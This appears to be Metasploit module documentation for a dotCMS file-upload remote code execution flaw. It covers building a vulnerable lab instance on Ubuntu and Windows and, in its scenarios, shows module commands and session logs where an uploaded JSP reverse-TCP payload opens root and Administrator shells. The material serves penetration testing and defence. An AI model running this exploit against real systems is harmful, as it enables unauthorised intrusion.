## Vulnerable Application

### Description
This module exploits an arbitrary file upload vulnerability in dotCMS versions before 22.03, 5.3.8.10, 21.06.7 in each
respective stream. The module uploads a jsp payload to the tomcat ROOT directory and accesses it to trigger its execution.

### Clone and build a vulnerable version of dotCMS:
This requires Java 1.8 to be installed and JAVA_HOME to be set (see below for per OS instructions).
1. `git clone https://github.com/dotCMS/core.git`
1. `cd core`
1. `git checkout 7d604e5 (this is vulnerable version 21.06)`
1. `cd dotCMS/`
1. `./gradlew createDist`
```
Starting a Gradle Daemon (subsequent builds will be faster)

<output truncated>

BUILD SUCCESSFUL in 12m 53s
21 actionable tasks: 19 executed, 2 up-to-date
```

If the build was successful you should now have a vulnerable 21.06 linux and windows instance:
```
msfuser@ubuntu:~/core/dotCMS$ ls -l ../dist-output/
total 811132
-rw-rw-r-- 1 msfuser msfuser 413134562 May 20 10:22 dotcms_21.06.tar.gz
-rw-rw-r-- 1 msfuser msfuser 417462181 May 20 10:24 dotcms_21.06.zip
```

Inside each of the above compressed directories exists a directory `dotserver` which contains the vulnerable app.

### Ubuntu 20.04 install

#### Install JAVA 1.8

1. `export JAVA_HOME="/usr/lib/jvm/java-8-openjdk-amd64"`
1. `export PATH=$JAVA_HOME/bin:$PATH`
1. `sudo apt-get install openjdk-8-jdk`

#### Install Postgres

1. `sudo apt install postgresql -y`
1. `sudo -u postgres psql`
1. Change the default database, username and password from `dotcms` to `postgres` (or create the db and user `dotcms`).
1. `vim $DOTCMS_HOME/dotserver/tomcat-9.0.41/webapps/ROOT/WEB-INF/classes/db.properties`
```
##Postgres default configuration
driverClassName=org.postgresql.Driver
jdbcUrl=jdbc:postgresql://localhost/postgres
username=postgres
password=postgres
```

#### Install Elastic Search

1. `sudo apt install apt-transport-https ca-certificates wget`
1. `wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add -`
1. `sudo sh -c 'echo "deb https://artifacts.elastic.co/packages/7.x/apt stable main" > /etc/apt/sources.list.d/elastic-7.x.list'`
1. `sudo apt update`
1. `sudo apt install elasticsearch`
1. `sudo systemctl daemon-reload `
1. `sudo systemctl enable elasticsearch.service`
1. `sudo systemctl start elasticsearch.service`
1. `sudo systemctl status elasticsearch.service`
1. Edit `dotcms-config-cluster.properties` to ensure the following properties are set:
1. `vim $DOTCMS_HOME/dotserver/tomcat-9.0.41/webapps/ROOT/WEB-INF/classes/dotcms-config-cluster.properties`
```
ES_ENDPOINTS=http://localhost:9200

ES_PROTOCOL=http
ES_HOSTNAME=localhost
ES_PORT=9200

ES_TLS_ENABLED=false
```

#### Run dotCMS

1. `cd dotserver/tomcat-9.0.41/bin/`
1. `chmod 755 *.sh`
1. `catalina.sh run`
1. Test the server is up with: `curl -vk localhost:8080/dotAdmin/`

### Windows 10 install

#### Install Java 1.8

1. Download and follow wizard to install:
    https://www.oracle.com/java/technologies/downloads/#license-lightbox

#### Install Elasticsearch 8.2.0

Download and follow wizard to install:
https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-8.2.0-windows-x86_64.zip dotcms-config-cluster.properties
1. Ensure dotcms-config-cluster.properties contains the same properties as specified above

#### Install Postgres 10.21

1. Download and follow wizard to install:
    https://www.enterprisedb.com/postgresql-tutorial-resources-training?uuid=ea5c8104-3940-4ed1-b427-81cf19781581&campaignId=70138000000rYFmAAM
1. Ensure db.properties contains the same properties as specified above

#### Run dotCMS

1. `cd dotserver\tomcat-9.0.41\bin\`
1. `catalina.bat run`
1. Test the server is up with: `curl -vk localhost:8080/dotAdmin/`

## Verification Steps
1. `use multi/http/dotcms_file_upload_rce`
2. `set RHOSTS [ips]`
3. `set LHOST [ips]`
4. `run`

## Scenarios

### Ubuntu 20.04 dotCMS 21.06:
```
msf > use exploit/multi/http/dotcms_file_upload_rce
[*] Using configured payload java/jsp_shell_reverse_tcp
msf exploit(multi/http/dotcms_file_upload_rce) > set rhosts 172.16.199.227
rhosts => 172.16.199.227
msf exploit(multi/http/dotcms_file_upload_rce) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf exploit(multi/http/dotcms_file_upload_rce) > run

[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Writing JSP payload
[+] Successfully wrote JSP payload
[*] Executing JSP payload
[+] Successfully executed JSP payload
[+] Deleted ../webapps/ROOT/XZhKXIssjD.jsp
[+] Deleted ../webapps/ROOT/M4NYE9Kb.jsp
[*] Command shell session 1 opened (172.16.199.1:4444 -> 172.16.199.227:39610) at 2022-05-20 15:01:25 -0400

id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux ubuntu 5.13.0-41-generic #46~20.04.1-Ubuntu SMP Wed Apr 20 13:16:21 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
```

### Windows 10 dotCMS 21.06:
```
msf > use dotcms_file_upload_rce
[*] Using exploit/multi/http/dotcms_file_upload_rce
msf exploit(multi/http/dotcms_file_upload_rce) > set rhosts 172.16.199.231
rhosts => 172.16.199.231
msf exploit(multi/http/dotcms_file_upload_rce) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf exploit(multi/http/dotcms_file_upload_rce) > run

[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Writing JSP payload
[+] Successfully wrote JSP payload
[*] Executing JSP payload
[+] Successfully executed JSP payload
[!] Tried to delete ../webapps/ROOT/AkqMhxCZWr.jsp, unknown result
[!] Tried to delete ../webapps/ROOT/xdPfn9JTdu33X.jsp, unknown result
[*] Command shell session 1 opened (172.16.199.1:4444 -> 172.16.199.231:50016) at 2022-05-20 12:41:36 -0400


Shell Banner:
Microsoft Windows [Version 10.0.19042.1706]
(c) Microsoft Corporation. All rights reserved.
-----


C:\Users\Administrator\Downloads\dotcms_21.06\dotserver\tomcat-9.0.41\bin>whoami
whoami
desktop-h1lncdm\administrator

C:\Users\Administrator\Downloads\dotcms_21.06\dotserver\tomcat-9.0.41\bin>systeminfo
systeminfo

Host Name:                 DESKTOP-H1LNCDM
OS Name:                   Microsoft Windows 10 Pro
OS Version:                10.0.19042 N/A Build 19042

<output truncated>
```
Note on windows the module reports an unknown result when trying to delete the files though it does successfully
